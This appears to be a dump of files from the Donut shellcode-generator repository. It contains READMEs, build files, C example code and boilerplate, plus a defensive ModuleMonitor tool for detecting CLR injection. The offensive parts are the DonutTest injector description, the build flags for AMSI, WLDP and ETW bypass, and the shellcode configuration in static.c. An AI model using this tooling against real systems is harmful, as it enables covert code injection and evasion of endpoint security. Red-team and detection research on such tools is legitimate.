.NET version: 34 | 35 | ``` 36 | xbuild /p:TargetFrameworkVersion="v4.5" 37 | ``` 38 | 39 | Once the project has been successfully built, the output DLL may be used as input to the Donut shellcode generator. 40 | -------------------------------------------------------------------------------- /include/wintypes.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #if _MSC_VER 3 | #define USE_WINNT 4 | #include 5 | #endif 6 | #ifndef USE_WINNT 7 | 8 | #ifndef __WIN_TYPES 9 | #define __WIN_TYPES__ 10 | 11 | #ifdef _MSC_VER 12 | #include 13 | #else 14 | #include 15 | #endif 16 | 17 | #ifndef FALSE 18 | #define FALSE 0 19 | #endif 20 | 21 | #ifndef TRUE 22 | #define TRUE 1 23 | #endif 24 | 25 | #ifndef BYTE 26 | typedef unsigned char BYTE; 27 | #endif 28 | 29 | #ifndef BOOLEAN 30 | typedef BYTE BOOLEAN; 31 | #endif 32 | 33 | #ifndef BOOL 34 | typedef BYTE BOOL; 35 | #endif 36 | 37 | #ifndef WORD 38 | typedef uint16_t WORD; 39 | #endif 40 | 41 | #ifndef USHORT 42 | typedef uint16_t USHORT; 43 | #endif 44 | 45 | #ifndef DWORD 46 | typedef uint32_t DWORD; 47 | #endif 48 | 49 | #ifndef ULONG 50 | typedef uint32_t ULONG; 51 | #endif 52 | 53 | #ifndef ULONGLONG 54 | typedef int64_t ULONGLONG; 55 | #endif 56 | 57 | #ifndef ULONGULONG 58 | typedef uint64_t ULONGULONG; 59 | #endif 60 | 61 | #ifndef CHAR 62 | typedef char CHAR; 63 | #endif 64 | 65 | // wchar_t is 32-bits on Linux 66 | #ifndef WCHAR 67 | typedef uint16_t WCHAR; 68 | #endif 69 | 70 | #ifndef VOID 71 | #define VOID void 72 | typedef char CHAR; 73 | typedef uint16_t SHORT; 74 | typedef uint32_t LONG; 75 | 76 | #if !defined(MIDL_PASS) 77 | typedef int INT; 78 | #endif 79 | #endif //VOID 80 | 81 | #endif // __WIN_TYPES__ 82 | #endif // #ifndef USE_WINNT 83 | -------------------------------------------------------------------------------- /DonutTest/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DonutTest")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DonutTest")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("3c9a6b88-bed2-4ba8-964c-77ec29bf1846")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /DonutTest/Readme.md: -------------------------------------------------------------------------------- 1 | # DonutTest 2 | 3 | A simple C# shellcode remote injector to use in testing donut. It contains both x86 and x64 versions of the shellcode, determines the architecture of the target process, and then injects the appropriate version into that process with CreateRemoteThread. The shellcode must be Base64-encoded and dropped into the code as a string. This ensures that it can be run entirely from memory. 4 | 5 | You may Base64-encode your shellcode and copy it to your clipboard with the PowerShell below: 6 | 7 | ```powershell 8 | $filename = "C:\\Test\donut\\loader.bin" 9 | [Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip 10 | ``` 11 | 12 | ``` 13 | Usage: 14 | 15 | DonutTest.exe [PID] 16 | 17 | If no PID is specified, then DonutTest will inject the shellcode into itself. 18 | ``` 19 | 20 | # Building on Linux 21 | 22 | This project can be built on Linux using Mono and xbuild. First, follow the official [instructions](https://www.mono-project.com/download/stable/#download-lin) for install Mono. Then, install `mono-xbuild`. 23 | 24 | To build the project, simply `cd` to its root directory and run: 25 | 26 | ``` 27 | xbuild 28 | ``` 29 | 30 | To build in Release mode, run: 31 | 32 | ``` 33 | xbuild /p:Configuration=Release 34 | ``` 35 | 36 | If receiving errors about missing dependencies, try specifying the targeted .NET version: 37 | 38 | ``` 39 | xbuild /p:TargetFrameworkVersion="v4.5" 40 | ``` 41 | 42 | Once the project has been successfully built, the output DLL may be used as input to the Donut shellcode generator. 43 | -------------------------------------------------------------------------------- /ModuleMonitor/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ModuleMonitor")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("ModuleMonitor")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("361c69f5-7885-4931-949a-b91eeab170e3")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /ProcessManager/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ProcessManager")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("ProcessManager")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("98ca74c7-a074-434d-9772-75896e73ceaa")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /DemoCreateProcess/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("DemoCreateProcess")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("DemoCreateProcess")] 13 | [assembly: AssemblyCopyright("Copyright © 2019")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("4fcdf3a3-aeef-43ea-9297-0d3bde3bdad2")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /ModuleMonitor/README.md: -------------------------------------------------------------------------------- 1 | # ModuleMonitor 2 | 3 | Has its own repo at: https://github.com/TheWover/ModuleMonitor 4 | 5 | Uses WMI Event Win32_ModuleLoadTrace to monitor module loading. Provides filters, and detailed data. Has an option to monitor for CLR Injection attacks. 6 | 7 | The CLR Sentry option follows some simple logic: If a process loads the CLR, but the program is not a .NET program, then the CLR has been injected into it. 8 | 9 | While useful, there are both false positives and false negatives: 10 | 11 | * False Postiive: There are (few) legitimate uses of the Unmanaged CLR Hosting API. If there weren't, then Microsoft wouldn't have made it. CLR Sentry will notice every unmanaged program that loads the CLR. 12 | * False Negatives: This will NOT notice injection of .NET code into processes that already have the CLR loaded. So, no use of the Reflection API and not when donut is used to inject shellcode into managed processes. 13 | 14 | Please Note: This is intended only as a Proof-of-Concept to demonstrate the anomalous behavior produced by CLR injection and how it may be detected. It should not be used in any way in a production environment. You perform the same logic with the ``` Image Load ``` event for Sysmon or ETW. They would be easier to scale and integrate with enterprise tooling. 15 | 16 | ![Alt text](https://github.com/TheWover/donut/blob/master/ModuleMonitor/img/detected.png?raw=true "CLR Sentry detection") 17 | 18 | # Usage 19 | 20 | ``` 21 | | Module Monitor [v0.1] 22 | | Copyright (c) 2019 TheWover 23 | 24 | Usage: ModuleMonitor.exe [--clr-sentry] 25 | 26 | ``` 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, TheWover, Odzhan. All rights reserved. 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | * Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | * Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | * Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /ModuleMonitor/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, TheWover 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /ProcessManager/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, TheWover 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /examples/static.c: -------------------------------------------------------------------------------- 1 | 2 | // static example (doesn't work with .NET DLL) 3 | // odzhan 4 | 5 | #include "donut.h" 6 | 7 | int main(int argc, char *argv[]) { 8 | DONUT_CONFIG c; 9 | int err; 10 | 11 | // need at least a file 12 | if(argc != 2) { 13 | printf(" [ usage: donut_static \n"); 14 | return 0; 15 | } 16 | 17 | memset(&c, 0, sizeof(c)); 18 | 19 | // copy input file 20 | lstrcpyn(c.input, argv[1], DONUT_MAX_NAME-1); 21 | 22 | // default settings 23 | c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded 24 | c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) 25 | c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP/ETW fails 26 | c.headers = DONUT_HEADERS_OVERWRITE;// overwrite PE headers 27 | c.format = DONUT_FORMAT_BINARY; // default output format 28 | c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default 29 | c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default 30 | c.exit_opt = DONUT_OPT_EXIT_THREAD; // default behaviour is to exit the thread 31 | c.thread = 1; // run entrypoint as a thread 32 | c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function 33 | 34 | // generate the shellcode 35 | err = DonutCreate(&c); 36 | if(err != DONUT_ERROR_SUCCESS) { 37 | printf(" [ Error : %s\n", DonutError(err)); 38 | return 0; 39 | } 40 | 41 | printf(" [ loader saved to %s\n", c.output); 42 | 43 | DonutDelete(&c); 44 | return 0; 45 | } 46 | -------------------------------------------------------------------------------- /DonutTest/DonutTest.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.28307.136 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DonutTest", "DonutTest.csproj", "{3C9A6B88-BED2-4BA8-964C-77EC29BF1846}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DemoCreateProcess", "..\DemoCreateProcess\DemoCreateProcess.csproj", "{4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|Any CPU = Debug|Any CPU 13 | Release|Any CPU = Release|Any CPU 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|Any CPU.ActiveCfg = Release|Any CPU 19 | {3C9A6B88-BED2-4BA8-964C-77EC29BF1846}.Release|Any CPU.Build.0 = Release|Any CPU 20 | {4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 21 | {4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}.Debug|Any CPU.Build.0 = Debug|Any CPU 22 | {4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}.Release|Any CPU.ActiveCfg = Release|Any CPU 23 | {4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2}.Release|Any CPU.Build.0 = Release|Any CPU 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {E91D143E-AB90-41D2-942F-D3F1DC8352F3} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /ProcessManager/README.md: -------------------------------------------------------------------------------- 1 | # ProcessManager 2 | 3 | Has its own repo at: https://github.com/TheWover/ProcessManager 4 | 5 | ps-like .NET Assembly for enumerating processes on the current machine or a remote machine (using current token). Has the unique feature of telling you whether each process is managed (has the CLR loaded). Compatible with .NET v3.5. 6 | 7 | All enumeration is done with only built-in .NET APIs and PInvoke, rather than any third-party libraries or usage of WMI. 8 | 9 | * PPID value of "-1" means that the parent is no longer running or is not accessible. 10 | * Arch value of "*" means that the process could not be accessed or the architecture could not be determined. Usually a permissions issue. 11 | * Managed value of "True" means that the CLR is loaded into the process. That is, it is a "managed" process because it is running .NET managed code. 12 | * Integrity value of "Unknown" means exactly that. 13 | * Blank User value means that the user information of the process could not be obtained. 14 | 15 | **I have not tested ProcessManager's remote enumeration option. :-P Neither me nor Odzhan have a lab setup for testing that. Please feel free to let us know of any issues.** 16 | 17 | ![Alt text](https://github.com/TheWover/ProcessManager/blob/master/img/usage.JPG?raw=true "General Usage") 18 | 19 | # Usage 20 | 21 | ``` 22 | | Process Manager [v0.2] 23 | | Copyright (c) 2019 TheWover 24 | 25 | Usage: ProcessManager.exe [options] 26 | 27 | -h, --help Display this help menu. 28 | --machine Specify a machine to query. Machine name or IP Address may be used. 29 | --name Filter by a process name. 30 | 31 | Examples: 32 | 33 | ProcessManager.exe 34 | ProcessManager.exe --name svchost 35 | ProcessManager.exe --machine workstation2 36 | ProcessManager.exe --machine 10.30.134.13 37 | ``` 38 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import Extension, setup 2 | import sys 3 | 4 | with open("README.md", "r") as fh: 5 | long_description = fh.read() 6 | 7 | static_libraries = ['aplib64'] 8 | static_lib_dir = 'lib' 9 | libraries = [] 10 | library_dirs = ['lib'] 11 | extra_compile_args = [] 12 | extra_link_args = [] 13 | extra_objects = [] 14 | include_dirs = ['include'] 15 | sources = ['donut.c', 16 | 'hash.c', 17 | 'encrypt.c', 18 | 'format.c', 19 | 'loader/clib.c', 20 | 'donutmodule.c'] 21 | 22 | if sys.platform == 'win32': 23 | libraries.extend(static_libraries) 24 | library_dirs.append(static_lib_dir) 25 | extra_objects = [] 26 | elif sys.platform == 'win64': 27 | libraries.extend(static_libraries) 28 | library_dirs.append(static_lib_dir) 29 | extra_objects = [] 30 | else: # POSIX 31 | extra_objects = ['{}/{}.a'.format(static_lib_dir, l) for l in static_libraries] 32 | 33 | 34 | module = Extension( 35 | "donut", 36 | include_dirs = include_dirs, 37 | sources = sources, 38 | libraries = libraries, 39 | library_dirs = library_dirs, 40 | extra_compile_args = extra_compile_args, 41 | extra_link_args = extra_link_args, 42 | extra_objects = extra_objects, 43 | ) 44 | 45 | setup( 46 | name='donut-shellcode', 47 | version='1.0.2', 48 | description='Donut shellcode Python C extension', 49 | long_description=long_description, 50 | long_description_content_type="text/markdown", 51 | license="BSD-3", 52 | author_email="therealwover@protonmail.com", 53 | url='https://github.com/TheWover/donut', 54 | author='TheWover, Odzhan, byt3bl33d3r', 55 | include_package_data=True, 56 | zip_safe=True, 57 | ext_modules=[module], 58 | python_requires='>=3.0', 59 | ) 60 | -------------------------------------------------------------------------------- /Makefile.mingw: -------------------------------------------------------------------------------- 1 | CC32 := i686-w64-mingw32-gcc 2 | CC64 := x86_64-w64-mingw32-gcc 3 | 4 | donut: clean 5 | $(info ###### RELEASE ######) 6 | gcc -I include loader/exe2h/exe2h.c -oexe2h 7 | $(CC64) -I include loader/exe2h/exe2h.c loader/exe2h/mmap-windows.c -lshlwapi -oexe2h.exe 8 | 9 | $(CC32) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe 10 | ./exe2h loader.exe 11 | 12 | $(CC64) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe 13 | ./exe2h loader.exe 14 | 15 | $(CC64) -Wall -fpack-struct=8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe 16 | debug: clean 17 | $(info ###### DEBUG ######) 18 | $(CC32) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader32.exe -lole32 -lshlwapi 19 | $(CC64) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader64.exe -lole32 -lshlwapi 20 | $(CC64) -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe 21 | $(CC32) -Wall loader/inject.c -oinject32.exe 22 | $(CC64) -Wall loader/inject.c -oinject64.exe 23 | $(CC32) -Wall loader/inject_local.c -oinject_local32.exe 24 | $(CC64) -Wall loader/inject_local.c -oinject_local64.exe 25 | clean: 26 | rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe loader32.exe loader64.exe inject32.exe inject64.exe inject_local32.exe inject_local64.exe 27 | 28 | -------------------------------------------------------------------------------- /include/aplib.h: -------------------------------------------------------------------------------- 1 | /* 2 | * aPLib compression library - the smaller the better :) 3 | * 4 | * ELF 64-bit format header file 5 | * 6 | * Copyright (c) 1998-2014 Joergen Ibsen 7 | * All Rights Reserved 8 | * 9 | * http://www.ibsensoftware.com/ 10 | */ 11 | 12 | #ifndef APLIB_H_INCLUDED 13 | #define APLIB_H_INCLUDED 14 | 15 | #ifdef __cplusplus 16 | extern "C" { 17 | #endif 18 | 19 | #ifndef APLIB_ERROR 20 | # define APLIB_ERROR ((unsigned int) (-1)) 21 | #endif 22 | 23 | unsigned int aP_pack(const void *source, 24 | void *destination, 25 | unsigned int length, 26 | void *workmem, 27 | int (*callback)(unsigned int, unsigned int, unsigned int, void *), 28 | void *cbparam); 29 | 30 | unsigned int aP_workmem_size(unsigned int inputsize); 31 | 32 | unsigned int aP_max_packed_size(unsigned int inputsize); 33 | 34 | unsigned int aP_depack_asm(const void *source, void *destination); 35 | 36 | unsigned int aP_depack_asm_fast(const void *source, void *destination); 37 | 38 | unsigned int aP_depack_asm_safe(const void *source, 39 | unsigned int srclen, 40 | void *destination, 41 | unsigned int dstlen); 42 | 43 | unsigned int aP_crc32(const void *source, unsigned int length); 44 | 45 | unsigned int aPsafe_pack(const void *source, 46 | void *destination, 47 | unsigned int length, 48 | void *workmem, 49 | int (*callback)(unsigned int, unsigned int, unsigned int, void *), 50 | void *cbparam); 51 | 52 | unsigned int aPsafe_check(const void *source); 53 | 54 | unsigned int aPsafe_get_orig_size(const void *source); 55 | 56 | unsigned int aPsafe_depack(const void *source, 57 | unsigned int srclen, 58 | void *destination, 59 | unsigned int dstlen); 60 | 61 | #ifdef __cplusplus 62 | } /* extern "C" */ 63 | #endif 64 | 65 | #endif /* APLIB_H_INCLUDED */ 66 | -------------------------------------------------------------------------------- /include/mmap-windows.c: -------------------------------------------------------------------------------- 1 | /* mmap() replacement for Windows 2 | * 3 | * Author: Mike Frysinger 4 | * Placed into the public domain 5 | */ 6 | 7 | /* References: 8 | * CreateFileMapping: http://msdn.microsoft.com/en-us/library/aa366537(VS.85).aspx 9 | * CloseHandle: http://msdn.microsoft.com/en-us/library/ms724211(VS.85).aspx 10 | * MapViewOfFile: http://msdn.microsoft.com/en-us/library/aa366761(VS.85).aspx 11 | * UnmapViewOfFile: http://msdn.microsoft.com/en-us/library/aa366882(VS.85).aspx 12 | */ 13 | 14 | #include "mmap.h" 15 | 16 | void *mmap(void *start, uint32_t length, int prot, int flags, int fd, off_t offset) 17 | { 18 | if (prot & ~(PROT_READ | PROT_WRITE | PROT_EXEC)) 19 | return MAP_FAILED; 20 | if (fd == -1) { 21 | if (!(flags & MAP_ANON) || offset) 22 | return MAP_FAILED; 23 | } else if (flags & MAP_ANON) 24 | return MAP_FAILED; 25 | 26 | DWORD flProtect; 27 | if (prot & PROT_WRITE) { 28 | if (prot & PROT_EXEC) 29 | flProtect = PAGE_EXECUTE_READWRITE; 30 | else 31 | flProtect = PAGE_READWRITE; 32 | } else if (prot & PROT_EXEC) { 33 | if (prot & PROT_READ) 34 | flProtect = PAGE_EXECUTE_READ; 35 | else if (prot & PROT_EXEC) 36 | flProtect = PAGE_EXECUTE; 37 | } else 38 | flProtect = PAGE_READONLY; 39 | 40 | off_t end = length + offset; 41 | HANDLE mmap_fd, h; 42 | if (fd == -1) 43 | mmap_fd = INVALID_HANDLE_VALUE; 44 | else 45 | mmap_fd = (HANDLE)_get_osfhandle(fd); 46 | h = CreateFileMapping(mmap_fd, NULL, flProtect, DWORD_HI(end), DWORD_LO(end), NULL); 47 | if (h == NULL) 48 | return MAP_FAILED; 49 | 50 | DWORD dwDesiredAccess; 51 | if (prot & PROT_WRITE) 52 | dwDesiredAccess = FILE_MAP_WRITE; 53 | else 54 | dwDesiredAccess = FILE_MAP_READ; 55 | if (prot & PROT_EXEC) 56 | dwDesiredAccess |= FILE_MAP_EXECUTE; 57 | if (flags & MAP_PRIVATE) 58 | dwDesiredAccess |= FILE_MAP_COPY; 59 | void *ret = MapViewOfFile(h, dwDesiredAccess, DWORD_HI(offset), DWORD_LO(offset), length); 60 | if (ret == NULL) { 61 | ret = MAP_FAILED; 62 | } 63 | CloseHandle(h); 64 | return ret; 65 | } 66 | 67 | void munmap(void *addr, uint32_t length) 68 | { 69 | 